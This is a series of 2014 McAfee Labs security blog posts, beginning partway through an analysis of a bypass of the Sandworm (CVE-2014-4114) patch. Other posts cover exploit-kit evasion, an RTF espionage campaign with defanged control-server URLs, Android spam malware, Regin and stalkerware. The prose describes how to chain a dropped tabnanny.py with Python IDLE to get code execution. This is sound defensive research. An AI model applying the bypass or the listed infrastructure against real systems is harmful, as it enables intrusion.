With a little bit of help from patch diffing, we can easily spot that the function MarkFileUnsafe() is called right after the malicious file is dropped into the temp folder. The following image shows the call:

MarkFileUnsafe() is called right after dropping the file into the temp folder.

There are two ways that an attacker can drop a file into the temp folder. Researchers have seen real in-the-wild samples of both. The first way is to copy from a UNC location, such as in this sample (SHA1: 22fbbcfa5646497e57ee238a180d1b367789984a). The second is to drop it directly from the embedded OLE stream, as in this sample (SHA1: cb2aadbfcfac3c5802ff23ae6971791549b120b8). Our research also shows that the two ways are represented by several code flows. Thus, there have to be (and we have seen them in the updated packager.dll) several places calling the MarkFileUnsafe() function.

Now, let’s take a look at what MarkFileUnsafe() does. The function calls the IZoneIdentifier APIs to mark the dropped file as coming from the Internet zone (“URLZONE_INTERNET”). At a low level, the function leverages a feature in NTFS. (If you’d like more details on how this works, refer to these links 1, 2.) We call this feature Internet marked.

After a file is Internet marked, users will receive a warning dialog whenever they try to “execute” the file. This blocks automatic code execution. For example, installing an Internet-marked .inf file will bring up the following dialog, which is exactly what we saw when testing the original zero-day sample with Microsoft’s patch MS14-060:

Warning dialog when a user tries to “execute” the Internet-marked .inf file.

Problem with the patch

An “execute” action will be blocked by the Internet-marked feature because the Windows Shell routines will check the Security Zone when performing an “execute” action. However, a “non-execute” action will go through directly. This is the same reason that we can’t directly run an executable downloaded through Internet Explorer, but we can open a downloaded Word document with Office.

Let’s consider the potential problems:

• On Windows, there are many file types (filename extensions). They are registered by various applications on the system. Taking the same action with right-click pop-up menus basically allows you or a command to run various applications or perform various actions on the system.
• The registered actions also vary. They can include opening the file, often with the keyword “edit,” as well as many other actions. For example, you can unzip a .zip file when WinRar is installed (see the following image), regardless whether the .zip is Internet marked. It all depends on which extension you choose and which applications you have installed.

The “right-click” menu for a .zip file.

You can see why we were already worried at this stage: Allowing unexpected applications to run is not acceptable from a security point of view because no one knows whether launching an “unknown” application will cause a problem.

Exploiting the problem: a real-world example

The proof of concept we sent to Microsoft leverages Python on Windows. When we right-click on a .py file, we get this menu:

The “right-click” menu for .py file

Thus we can call the Python development tool IDLE to open a .py file with the iVerb set to 3, as in the original sample. (See part one of this post for a discussion of iVerb and other details.) Because this is just an “edit” action, even with an Internet-marked file, the command will run without any warning. Now, let’s see what happens when IDLE runs. We use Process Monitor to record the following events:

It seems that IDLE tried to load a Python module named tabnanny in the same directory as the .py file. This interested us. So we created tabnanny.py and test.py in the same directory. When opening test.py with IDLE (through right-clicking), the code inside tabnanny.py was automatically executed!

As we have mentioned, the first security issue in packager.dll is allowing it to drop arbitrary files into the temp folder. By embedding more Packager objects on a PowerPoint slide, we can drop many files into the temp folder when a PowerPoint Show slide is viewed. Thus we can drop the first file with the special filename tabnanny.py. When the second .py file, with any filename, is opened by IDLE, the Python code in tabnanny.py will immediately be executed.

We have made a video to demonstrate the full exploitation. The environment is Windows 7 with Office 2010 and Python 2.7.8 installed, all are updated after the October patch (with MS14-060 installed) but before the November 11 patch.

Even though we ran the exploit in an environment with third-party software installed, considering the large number of file types on default Windows as well as various “non-execute” actions for these file types, there is a good chance that attackers can develop exploits for the default setup.

A look at the partial bypass

The preceding exploitation method was the one we showed to Microsoft. As we have mentioned at the beginning of this post, there is an in-the-wild sample that is claimed to also bypass the patch. We’ve obtained that sample (SHA1: cb2aadbfcfac3c5802ff23ae6971791549b120b8). Let’s see how it works.

This sample drops an .exe file into the temp folder, and also selects the second item on the right-click menu (via cmd=3). What’s the second item for an .exe on Windows?

The right-click menu for a Windows .exe file.

Now, we see that the exploit performs “Run as administrator.” This won’t trigger the Internet-mark warning dialog because it triggers another dialog: a user account control dialog will show up when the UAC is not disabled for a standard user account.

Concerns remain

Microsoft has finally resolved this serious vulnerability with MS14-064. Users should apply the patch as soon as possible. As we have pointed out in previous sections, the vulnerability actually consists of two security issues: the “dropping arbitrary file into temp folder” issue and the “code execution through DoVerb()” issue. However, according to our test against the new patch, only the latter was fixed; the “dropping arbitrary file into temp folder” issue remains. We recommend that Microsoft resolve this security issue as well.

Users who have concerns regarding the remaining issue may consider the workaround and mitigations provided in our July post.

Conclusion

In this post we provided in-depth research around the Sandworm vulnerability CVE-2014-4114, which includes a thorough understanding of the root cause, the exploitation, the patching methodology, as well as the patch bypassing that leads to CVE-2014-6352. We demonstrated a real-world bypass that leverages an issue in Python IDLE.

The key problem of the patch is that it blocks only a small number of actions of the right-click menu involved with direct execution. However, other actions, such as the most popular–“editing” with a registered application–are still allowed. This interoperability opens a door for attackers for future exploitation.

This interesting case study highlights that interoperability between applications raises complexity. Security is no longer about a single application. Understanding the behaviors of various applications and how they work together is vital for effective security.

Thanks to my colleagues Bing Sun, Chong Xu, Stanley Zhu (all of McAfee Labs), and Xiaoning Li (Intel Labs) for their help with this analysis.

The post Bypassing Microsoft’s Patch for the Sandworm Zero Day: Even ‘Editing’ Can Cause Harm appeared first on McAfee.

Exploit kits are toolkits that malicious developers use to take advantage of client-side vulnerabilities, targeting web browsers and programs that can be accessed through browsers. The most common exploit targets are Java, Flash, PDFs, and Silverlight. Exploit kits use lots of techniques to evade detection by security products.

Exploit kits use several common techniques:

• Code obfuscation using commercial packers
• String manipulation
• Dummy or garbage functions as anti-emulation tricks

The latest exploit kits on the black market are very stealthy. They look for the presence of virtual machines (VMs) and antimalware products on a system before infecting it. These techniques help evade automated analysis and detection, and they also make reverse-engineering the malware tricky. At McAfee Labs we recently investigated two recent exploit kits and reversed their techniques to understand how they work.

Angler Exploit Kit

Before exploiting a vulnerable program in a web browser, the landing page of the Angler Exploit Kit searches for the presence of VM and security product driver files in windir%\system32\drivers.

File enumeration through the Microsoft XMLDOM ActiveX control.

Angler searches for several files, including:

• A virtual keyboard plug-in to identify Kaspersky software
• tmactmon.sys, tmevtmgr.sys, tmeext.sys, tmnciesc.sys, tmtdi.sys, tmcomm.sys, and TMEBC32.sys (Trend Micro)
• vm3dmp.sys, vmusbmouse.sys, vmmouse.sys, and vmhgfs.sys (VMware)
• VBoxGuest.sys, VBoxMouse.sys, VBoxSF.sys, and VBoxVideo.sys (Virtual Box VM)
• prl_boot.sys, prl_fs.sys, prl_kmdd.sys, prl_memdev.sys, prl_mouf.sys, prl_pv32.sys, prl_sound.sys, prl_strg.sys, prl_tg.sys, and prl_time.sys (Parallel Desktop virtualization)

The malware also checks certain file locations to find antimalware products or VMs by enumerating their corresponding files using the Res:// protocol. It also checks for ActiveX or browser plug-ins related to security products.

File enumeration through the res:// protocol.

Nuclear Exploit Kit

Recent versions of the Nuclear Exploit Kit use the same technique to detect VMs and security products on a compromised machine. One difference is that Nuclear uses these techniques in its redirectors, unlike other kits that used them on the landing pages. Once these redirectors confirm that there is no trace of VM or security products, then it redirects to the actual landing page.

Nuclear Exploit Kit’s redirector.

We have seen similar tricks used by Rigkit to evade detection. At McAfee Labs we closely monitor these kits and offer generic coverage for them through our DATs.

The post New Exploit Kits Improve Evasion Techniques appeared first on McAfee.

During the last couple of months, we’ve observed several RTF exploits that target Indian organizations. The first RTF exploit was found by McAfee researchers on August 21. Subsequently, we saw multiple variants of the same exploit through October. The contents of the decoy documents are politically themed, targeted at several local and overseas Indian establishments.

Recent political reforms undertaken by the new Indian government, the prime minister’s visits to Japan and the United States, the Chinese president’s visit to India, as well as a series of other political events have generated quite a response from developers of advanced persistent threats.

Vulnerability

All of these related RTF exploits exploit the already patched Microsoft Word ActiveX control vulnerability CVE-2012-0158. In spite of the patch, the vulnerability has been used in several targeted campaigns in the past and continues to be popular in ongoing targeted attacks.

Exploit-laden doc files have been found in the wild with the following filenames:

• [Redacted]olicy agenda.rtf
• [Redacted]ent On Investment.doc
• [Redacted]sion Reform Note FINAL.doc
• [Redacted]ailways.doc
• [Redacted]ensive Brief 2014.doc
• Bilateral.doc

Attack vector

We believe the attack arrives as an attachment to spear phishing emails targeting Indian organizations. At launch, the exploit drops dw20.exe in the %temp% directory, opens the attacker’s specially crafted decoy documents, and drops gupdate.exe in the same location. The last file connects to multiple control servers in a staged fashion.

Here’s a high-level picture of the attack:

Exploit analysis

All of the RTF exploits in this campaign use staged shellcode. However, finding the shellcode in the exploit is fairly straightforward. It uses the known technique of resolving the API names from its hashes.

Once the APIs are resolved, the exploit tries to locate itself in memory by enumerating the file handles and reads the first-stage shellcode in the allocated virtual memory, which then decrypts the second-stage shellcode.

Next we see the routine from the first-stage shellcode that decrypts to the second stage and then jumps to it.

The second-stage shellcode decrypts the embedded binary and decoy document using the same decryption algorithm, eventually dropping them in the %temp% directory and executing dw20.exe.

Here are some of the decoy documents in the ongoing campaign:

Malware family: Win32/Syndicasec

The first executable dropped by the exploit, dw20.exe, is part of the malware family Win32/Syndicasec. This malware was identified in May 2013, when it was used in a cyber espionage attempt against Tibetan activists and also in multiple targeted campaigns. Previous versions of this threat were discovered in July 2010. You can read a complete technical analysis of this threat in this blog.

We have confirmed that this threat is currently used in attacks against Indian government organizations. We can confirm the similarity of this threat based on its behavior. The attack looks for sysprep.exe in the system32 and sysnative directories, extracts the embedded executable, and drops it in the %temp% directory as gupdate.exe.

Subsequently, the malware reads the cabinet file embedded in the resource section into memory, and extracts it into the /sysprep directory as cryptbase.dll, using the Windows Update Standalone Agent. The technique to load cryptbase.dll is what we call DLL load-order hijacking. Further, the attack exploits a vulnerability in the Microsoft User Access Control whitelist process, allowing it to run the arbitrary command with  elevated privileges.

The second-stage dropped file, gupdate.exe, connects to the control server. This communication is done in stages as well and uses the uncommon Windows Management Instrumentation system to register the JavaScript that connects to the first-stage URLs. The XOR routine for JavaScript follows:

Looking at the previous versions of this threat, JavaScript versions have changed every time this malware was used.

Control server communications

The JavaScript is primarily responsible for connecting to the first- and second-stage URLs, which lead to the control server. Examining the multiple variants of the RTF exploits and the dropped binaries, we’ve found the following fake blogs with which variants of gupdate.exe communicate. All of the URLs point to the blogs’ RSS feeds, from which the encoded Stage 2 (control server) URL is fetched.

Stage 1 URL pointing to the RSS feeds of the fake blogs:

• hxxp://kumar807.blogspot.com/feeds/posts/default
• hxxp://kumar807.wordpress.com/feed/
• hxxp://kumar807.livejournal.com/data/rss
• hxxp://blogs.rediff.com/kumar807/feed/
• hxxp://kumar807.thoughts.com/feed
• hxxp://kumar807.tumblr.com/rss
• hxxp://www.blogster.com/kapoorsunil09/profile/rss
• hxxp://kumarsingh1976.wordpress.com/feed/
• hxxp://musictelevision.blogspot.com/feeds/posts/default

Next we see the format of the encoded Stage 2 URL found on the fake blog. Note that the URL is within the <title> tag with the “@” delimiter:

Once the response is received, the </title> tag is parsed out of the response and the decoding function in the JavaScript is applied to expose the control servers.

Next we see the Stage 2 control server URLs:

www.as[redacted]ky.tk
ku[redacted]gh.tk
zz13[redacted]wb2.com
hi[redacted]ie.tk
www.pa[redacted]aju.org

The parameters sent in the POST request are formed by executing the WMI queries from the JavaScript. This image shows the functions of this operation:

While the malware executes, all of the control servers are live but with an empty command array. Examining the JavaScript, we see the command decoding is done with the eval() function, which leads us to believe there could be another JavaScript embedded:

McAfee Advanced Threat Defense

McAfee Advance Threat Defense provides coverage for all of the CVE-2012-0158 RTF exploits as well as for the dropped files involved in this attack. We employ unique static code analysis technology that can potentially detect any variant of the given malware family by determining the code changes against the original, without having to rely on runtime system behavior.

The post Operation Mangal: Win32/Syndicasec Used In Targeted Attacks Against Indian Organizations appeared first on McAfee.

One question I often hear is “When will Intel Security (McAfee) publish a report on the latest threat?”

It seems to be a hot trend today for security companies to offer reports with topics such as “Operation X” or “Malware Y,” or to trumpet how many zero-day vulnerabilities they have found. Do we now measure a security company on the quantity of whitepapers it publishes or the number of zero days it discovers?

Publishing is a valuable activity, but there is a huge difference between a well-researched threat analysis and a “for the sake of media attention” report. A good analysis will explain the techniques of an attack and offer guidance to help customers or the public learn from the incident and adapt their defenses to combat future threats—that’s threat intelligence.

A security company should be measured by how well it helps customers prevent and mitigate threats with its products, by its response time and openness in addressing newly discovered vulnerabilities, and by its effectiveness in implementing detection and protection in its products.

I was amazed at how fast and dedicated our people in many teams around the world worked to address the recent Shellshock vulnerability. Some teams quickly set up honey pots around the globe to learn how the attackers were abusing this vulnerability and adapted the lessons they learned to create network IPS rules used by McAfee Network Security Platform. In fact, McAfee products began detecting and preventing attacks that exploited the Shellshock vulnerability within 24 hours of its public announcement. Detailed signatures were ready within 48 hours.

Over the years I have seen many headlines based on reports from companies that were quick to publish their findings. But that doesn’t mean they were the only companies to look into those threats. As those reports were being written, our researchers were often working diligently to analyze and counter the threats. Many threats we analyze never appear in the press, because we respect the nondisclosure agreements we sign with our customers. We would rather be regarded as a trusted partner who knows when to keep silent than as a publicity seeker. In some cases we quietly update our products; in other cases we talk to our customers and agree on when to release updates. We publish some of our analyses only after law enforcement investigations have become public.

In recent years, we have analyzed a large number of targeted attacks, also known as advanced persistent threats, or APTs. During these investigations we map our findings against the phases of the “APT kill chain.” The kill chain describes the phases of a targeted attack and shows where it might be possible to stop the attacks:

Phases of the APT kill chain.

In most APT attacks, the modus operandi is the same, maybe using some different tools, but the techniques used by the attackers are usually quite similar. By analyzing targeted attacks, we offer our customers insight into the weaknesses in their organizations—and help them strengthen their defenses.

Given the weekly published reports of destructive attacks, sophisticated malware, and newly uncovered vulnerabilities, I can imagine anyone might lose track of what is important. Reports certainly offer insight and thus have value, but they pale in comparison to the value of timely, effective protection reliably delivered every day.

The post At Intel Security, Protecting Customers Takes Precedence Over Seeking Headlines appeared first on McAfee.

One of the most important concerns of Internet users is privacy. For this reason one of the most effective phishing attacks is to claim that someone’s video or photo is public; thus the victim cannot resist clicking on the malicious link. Recently some people from Singapore (country code +65) have reported a new SMS spam campaign with the message “Is this your photo?” and a specific URL:

Source: DKSG

The message comes from a contact who was previously infected with the malware and includes the name of the receiver to increase its credibility. The URL included in the message is hidden using a shortening service and redirects to the control server that hosts the malicious application. Once the shortened URL is clicked, the file PhotoViewer.apk is downloaded. If the application is installed, the following icon appears in the home launcher:

The icon belongs to the popular legitimate application Photo Grid, which is available on Google Play. If the recently installed application is opened, the following image related to Photo Grid appears in full-screen mode:

And that’s all! Apparently no other functions were implemented beyond showing these images. However, if we try to execute the application again, we find that the icon in the home launcher is gone. Does that mean that the application was uninstalled? Not really. We can find it in Settings -> Apps:

So what is this app doing in the background? If we wait for a couple of minutes, the mystery will be revealed:

The main purpose of this malware is to obtain as much money as possible from clicks on full-screen ads that appear constantly and several advertisement modules bundled inside the application.

In addition to this payload, the malware has a mechanism to dynamically send SMS spam based on parameters provided by the control server and using the contacts stored on the device and the SIM card. (The isDebug flag is always false):

So far we have seen the URLs hxxp://url7.me/tiNk1 and hxxp://url7.me/NwVk1 (both currently down) and the text “Is this your Photo?” used in the SMS spam campaigns. However, because these parameters are sent from a remote server, they could change at any time (possibly leading to more dangerous threats such as ransomware) if the control server comes back online or if a new variant, with a new server, is released in the wild. Another parameter retrieved from the remote server is “total,” which defines how many randomly selected contacts will receive the SMS spam.

A previous variant of this malware on Google Play pretended to be the famous game “King of Fighters” uploaded by the developer 8stars:

Fortunately, the number of installs of this malware was very low (from 100 to 500) before it was removed from Google Play; but taking into account the new variant recently released in the wild, it seems that the malware authors are starting to use other methods and themes to distribute this threat.

McAfee Mobile Security detects this Android threat and alerts mobile users if it is present, while protecting them from any data loss. For more information about McAfee Mobile Security, visit this link.

The post Is This Your Photo? No, It’s SMS Spam With Mobile Malware appeared first on McAfee.

Protecting customers take precedence over seeking headlines – this was the title of a recent blog by our very own Christiaan Beek into the priorities of the team.  Yet, within 72 hours we were awoken with news of a recently discovered espionage campaign using a toolkit under the name of Regin.

McAfee is aware of the recent research papers on Regin. Regin is a remote access Trojan (RAT), able to take control of input devices, capture credentials, monitor network traffic, and gather information on active computer processes. McAfee products detected and protected against Regin malware samples mentioned in the report since 2011.

Indeed based on the extensive work conducted by the team since we became aware of it the threat a few years ago we can confirm that in addition to the filenames provided, the following are also used by the toolkit:

• Ser8UART.sys
• abiosdsk.sys
• floppy.sys
• pcidump.sys
• pciport.sys
• qic117.sys

One particularly interesting element is the associated timestamps that can be used to determine how long the threat has been in existence.  Indeed as has been reported elsewhere[i] it was likely in existence as far back in 2006 but upon closer inspection likely considerably earlier than this date.

In terms of the malware itself the driver file has encrypted data as highlighted below:

Decryption is achieved simply through XOR with key:

The important realization here is that this threat is not ‘new’ to us (or most of the security industry for that matter).   We consider customer security and NDA/confidentiality agreements to be of the uptmost and critical importance.  Our role as a trusted partner far outweighs any need or desire to ‘grab’ headlines.

We have ~40+ samples related to this threat and whilst like the rest of industry the absence of the original, stage 1, dropper limits the ability to fully dissect and analyze in proper running context we will continue to regularly update our 2011 understanding of the malware.  Indeed this applies to all other threats that we continue to identify.

Basic IMPHash relationship diagram below:

As additional details emerge, we will continue to communicate across our standard channels.

[i] http://www.computerworld.com/article/2851513/traces-of-regin-malware-may-date-back-to-2006.html

The post McAfee Customers Protected from Regin Malware Since 2011 appeared first on McAfee.

In a recent press announcement, McAfee and Europol’s European Cyber Centre announced a cooperation of our talents to fight cybercrime. In general these joint operations are related to large malware families. Writing or spreading malware, even in small campaigns, is a crime. McAfee Labs doesn’t hesitate to reach out to its partners and contacts in CERTs and law enforcement. In the following case, a new Romanian-based data-stealing campaign was caught early due to behavioral and data analytics.

In our sample behavioral database, we found a new site hxxp://virus-generator.hi2.ro. Visiting the link revealed an open directory that allowed us to browse the content:

Often we observe that malware authors become overzealous in attacking victims, and forget to protect their own malware servers. Despite this campaign’s effectiveness, the malware authors took very little care to ensure that they themselves were not breached.

The binaries, which help us to understand how this campaign works, are injector.exe and blurmotion.exe. As the name suggests, injector.exe compromise the victim’s system via code injection in Internet Explorer. It first disables the firewall to ensure a smooth connection to the malware control server.

With the help of the mget command, the malware connects control site and downloads the payload blurmotion.exe.

The fact that the malware site doesn’t use any authentication makes sense because it leads to a swift connection between the victim and the attacker. Once the payload is downloaded, the batch file root.vbs takes over. This batch file is dropped by injector.exe and ensures that blurmotion.exe is executed.

We see the use of wscript.sleep 30000, which makes sure no activity happens for 5 minutes. This could be an attempt to deceive malware analyzers that the sample won’t do anything. Necessary run entries make sure root.vbs runs. After that a misspelled “restartt” is forced.

After this step, the system goes into a forced restart, and by this time the work of injector.exe (to download and install the payload) is done. From here the payload takes over. Blurmotion.exe, like its parent, drops a batch file to perform malicious activities.

Blurmotion takes the username of the victim and dumps all the processes running in the victim’s system with the name %usename%.ini.

Once the stolen data is logged, the malware uploads it to the control server via the mput command. We can see “echo cd BM” used in commands. This is the same BM folder on the malware control server that stores the logs of all victims. Like the payload, this stolen data is exposed to anyone who finds the malware control server. Our test virtual machine “victim” was named Klone, and we found it quickly uploaded on the control server.

The size of Klone.ini is zero because we had reverted to the virtual machine before the malware could steal data. In all the other infected user logs, we can see the malware executable blurmotion.exe running, confirming that those systems had been compromised.

We can also see repeated connections made to a specific site (mygarage.ro), possibly an attempt to increase its traffic. The author is so aggressive that he or she even tried to overclock the CPU to bring more traffic to this site.

The author succeeded in these attempts. In our internal behavioral database we found a lot of redirects to this site.

McAfee detects these payloads as Rodast. McAfee SiteAdvisor also warns against connecting to this site:

Because the campaign was based in Romania, McAfee Labs contacted the Romanian CERT. After we discussed the approach and strategy with them, the Romanian team took the appropriate actions, and gave us permission to publish our analysis of the campaign in this article.

Malware authors sometimes act carelessly, and assume that they are safe if no one detects them. But data from behavioral analysis, along with cooperation with CERTs and law enforcement, can find live campaigns and stop them.

The post Behavior Analysis Stops Romanian Data-Stealing Campaign appeared first on McAfee.

In September, we invited readers of the McAfee Labs Threats Report to complete a short survey and let us know what they think about the report. Here’s what we learned.

Readers are most interested in learning about the most significant threats and how to defend against them. Most also want to know what threats are just over the horizon.

One-quarter of our audience reads all reports; three-quarters read most reports. And half found the report more valuable than other threats reports. That’s great to hear!

But by far the most significant lesson is that two-thirds of readers asked us to provide more recommendations about how to defend against specific threats. That feedback objectively confirms what Bradon Rogers, Senior VP of Product & Solutions Marketing, hears from customers.

With that in mind, starting with the McAfee Labs Threats Report: November 2014, published today, we will also publish threats report “solution briefs” corresponding to the Key Topics covered in each report. Rogers discusses the two November Threats Report solution briefs in his blog.

***

In the November Threats Report, we detail the far-reaching BERserk vulnerability, explore the various forms of trust abuse, provide our usual host of threats statistics, and offer a set of threats predictions for 2015.

Here’s an overview of each Key Topic:

Going BERserk: trusted connectivity takes a big hit

In September, Intel Security released details of a far-reaching vulnerability dubbed BERserk, in a nod to the underlying code that forms the source of the vulnerability. BERserk’s full impact is not yet known, but it is very significant. BERserk takes advantage of a flaw in RSA’s signature-verification software, opening the door to cybercriminals to establish man-in-the-middle attacks without users knowledge. Establishing trust when accessing a website usually starts with “https” at the beginning of a URL coupled with a friendly padlock to seal the deal. BERserk compromises that link, allowing bad guys to watch and do anything they want with the flow of information between the user and the website.

Abuse of trust: exploiting online security’s weak link

The weakest links in most security setups are users. We rely on devices for most of our information and trust that they provide accurate data in a secure manner. Attackers often zero in on the trust we place in our devices, using it against us to steal information. This topic explores trust abuse, highlighting through recent examples the many ways in which cybercriminals take advantage of our trust relationships. McAfee Labs believes that trust in many forms of online interaction will go the way of email, which inspires limited confidence in its authenticity.

Here are a few of the most interesting threats predictions for 2015:

Cyber Espionage

Cyber espionage attacks will continue to increase in frequency. Long-term players will become stealthier information gatherers while newcomers will look for ways to steal money and disrupt their adversaries.

Internet of Things

Attacks on the Internet of Things devices will increase rapidly due to hypergrowth in the number of connected objects, poor security hygiene, and the high value of data on those devices.

Malware beyond Windows

Non-Windows malware attacks will explode, fueled by the Shellshock vulnerability.

Ransomware

Ransomware will evolve its methods of propagation, encryption, and the targets it seeks. More mobile devices will suffer attacks.

Mobile

Mobile attacks will continue to grow rapidly as new mobile technologies expand the attack surface and little is done to stop app store abuse.

We encourage you to take a look at the November Threats Report. And because we learned so much from the reader survey in our August report, we invite you to share your thoughts about the November report.

Thank you for your readership. We look forward to your feedback.

The post McAfee Labs Threats Report Takes Another Step Forward appeared first on McAfee.

With mobile devices an essential part of our lives and privacy, we must protect that privacy against a form of mobile “spyware” that is openly sold and distributed and that threatens our privacy by secretly monitoring all of our activities on smartphones.

In this context, spyware does not refer to Trojan malware that poses as legitimate games and tools while secretly stealing our private information. This type of spyware is usually called spy or monitoring apps to watch over our spouses, kids, or employees. Buyers of this kind of spyware will install it on their subjects’ mobile devices to monitor their activities and location. Most of these products claim that their software will remain undetected by those who are monitored. Yet how can we, or the developers, justify installing spyware without users’ knowledge and monitor all their private activities on smartphones?

In September, we read reports that a seller of the spyware StealthGenie was indicted in the United States. The seller was criticized for supplying an app that could threaten a victim’s life and could be used, for example, by stalkers and domestic abusers. But similar kinds of spyware are still being distributed in markets and will continue to threaten our privacy.

Most spyware has the following features to remotely monitor and collect data about the target user’s private actions:

• Recorded phone calls and call logs
• Sent and received SMS messages
• Contact information
• Web browsing history and bookmarks
• Photograph, video, and other documents
• Current location
• Account names for various services, including email addresses

Worse still, for devices that are “rooted” for Android or “jailbroken” for iOS, some spyware claims that they can monitor contacts and conversation data of SNS and messaging apps such as WhatsApp, Facebook, LINE, Skype, Viber, Kik, and so on.

It is rare to find these kinds of spyware apps on official markets for mobile apps. Some apps with similar functionality for antitheft or parental control are offered on official stores, and these can be used as spyware depending on circumstances. But spyware apps whose main use is to invade the target’s privacy are not published on official sites, probably because doing so would violate the official app markets’ policies.

Nonetheless, McAfee Labs has recently confirmed that spyware vendors are cleverly offering their products for Android devices via the official store. These vendors or their affiliates publish many free apps that download the spyware products or lead users to their product websites. Those who want to find spyware can get such products directly from the developers sites, but it seems that spyware vendors are seeking more sales opportunities by using popular app stores.

Some of these apps simply redirect users to the sales site of the spyware product; others directly download the spyware and prompt users to install and register. In this manner, spyware vendors let users download and install their spyware products from external sites by publishing apparently harmless landing apps on the official store. Spyware installed from external sites are not listed in the My Apps list on the official store portal, so it is less likely that a target user will notice the installation if the initial landing apps were uninstalled by the monitoring person to hide their traces.

Some of the installed spyware remove their application icons from home screen and app list to not be noticed by the target. And they start monitoring the target’s activities and sending the collected information to a remote server in the background. Other spyware also requires the DeviceAdmin privilege just after launch to make it difficult for victims to uninstall the app even if they notice suspicious behavior.

Because much spyware is sold outside of the official store, they will not usually be installed unless the user enables installation from unknown sources. And even if these apps are installed, McAfee Mobile Security and other security software will detect them and alert users. However, although these countermeasures are effective when the device user accidentally installs malware, these defenses might not work as expected when another person with access to the device wants to monitor the user secretly and installs the app. The monitoring person could change the device’s security settings and even disable detection by security software.

Thus in addition to the usual defenses against malware, we should also observe the following:

• Harden the device’s physical security. Never let anybody else use it. Make sure the device is locked with password, etc. to prevent someone else from changing the settings and installing any apps.
• Carefully check changes made by someone else, no matter the reasons. Check whether any settings are changed or apps are installed. Most spyware hides from the target user by removing their icons from the home screen. Make sure to check the apps list from [Settings] – [Apps], or from apps list displayed by security software such as McAfee Mobile Security.
• Carefully check the settings and apps on the device if it has been in someone else’s hands. Make sure that default settings are applied and look for any additional apps. It is desirable to factory reset the device and do initial settings yourself. Be careful also when buying a phone from any untrusted used-phone shop; shop staff might install apps for “free.”

There might be cases in which you want to use this kind of spyware as a monitoring tool to really protect someone you care about. First, get his or her consent. And you should be very careful about some points. The careless use of spyware can expose your loved one to danger. The information obtained through spyware must be accessible only to you and/or the monitored person; it is dangerous if you allow the spyware vendor to access the information. If the vendor is malicious, then all the privacy of your loved could be disclosed. Any information collected should be encrypted by a password that only you know, and only you should be able to decrypt it. Otherwise, even a benign spyware vendor could lose information due to a leak or security flaw. Much of the spyware we have seen transfers privacy and account authentication data as plaintext. If the monitored person were to use the phone on an unguarded public LAN with no appropriate security settings, all the private information could be snooped by a malicious observer.

Many of these spyware apps claim that their purpose is to protect spouses and kids, or to prevent employees inappropriate actions. However, if these apps are really intended for that purpose, then it would be reasonable to install them on the targets’ devices with their explicit approval and explain that their activities can be remotely monitored. Installing these apps publicly is a more effective way to prevent any unauthorized actions. Installing spyware secretly only opens the door to privacy invasion and potential cybercrime.

The post Spyware Vendors Find New Ways to Deliver Mobile Apps appeared first on McAfee.

McAfee Labs provides important information about threats in a variety of ways, from our McAfee Global Threat Intelligence service that feeds into many of our products, to published Threat Reports, our online Threat Center, and many active bloggers. Although it is useful for security professionals to know about the latest threats, one question that I often hear from customers is “How does McAfee technology protect me from this threat?”

Along with today’s publication of the McAfee Labs Threats Report: November 2014, we are also publishing two solution briefs that answer this question for key threats highlighted in the report. These documents identify which McAfee products will help protect you from these threats and how that protection works.

One solution brief explains how to defend against the recent BERserk vulnerability. BERserk is not your typical unlocked backdoor or another way to steal passwords. Instead, this flaw makes it possible to forge RSA signatures. An attacker can then act as a man in the middle, capturing sensitive data or hijacking the session, while the user sees a supposedly secure and authenticated session. Servers and websites are the primary targets of BERserk attacks, so it is up to you to protect your company’s assets. McAfee Vulnerability Manager and McAfee Asset Manager work together to scan your network and build an inventory of network-connected systems. When new threats are discovered, they enable you to quickly and confidently identify which systems are running vulnerable versions. Armed with this information, your security department can patch or isolate the vulnerable machines, reducing your time to containment. Another product, McAfee Application Control, provides a similar function for your applications. McAfee Application Control maintains a dynamic whitelist as applications are patched or updated. For the BERserk vulnerability, it can block execution of applications that call the vulnerable RSA code.

BERserk is one of the most recent examples of a vulnerability or malware that takes advantage of people’s trust in systems and the Internet. Other examples include malicious advertising, which deliver malware through popular ad-driven websites. Or malware that uses valid certificates from a Certificate Authority (CA) that are similar to the name of a legitimate company. Or counterfeit applications that pretend to be an update to familiar and widely distributed apps, such as Adobe Flash Player.

Protecting against trust abuse is the subject of the second solution brief. Multiple McAfee technologies have a role in defending the trust that has been carefully nurtured between you and your customers. For example, at the remote end, McAfee VirusScan can detect and defeat copycat malware without disrupting your workday. McAfee Global Threat Intelligence delivers real-time information on certificate, site, and file reputation to proactively defend against digital con men. McAfee Email Gateway and McAfee Web Gateway watch for malicious URLs, deleting them from phishing emails and web traffic.

McAfee will continue to develop and publish solution briefs with each new McAfee Labs Threats Report and you will be able to find them here. We hope you find these solution briefs useful.

The post How Do I Defend Against Threats in the Latest McAfee Labs Report? appeared first on McAfee.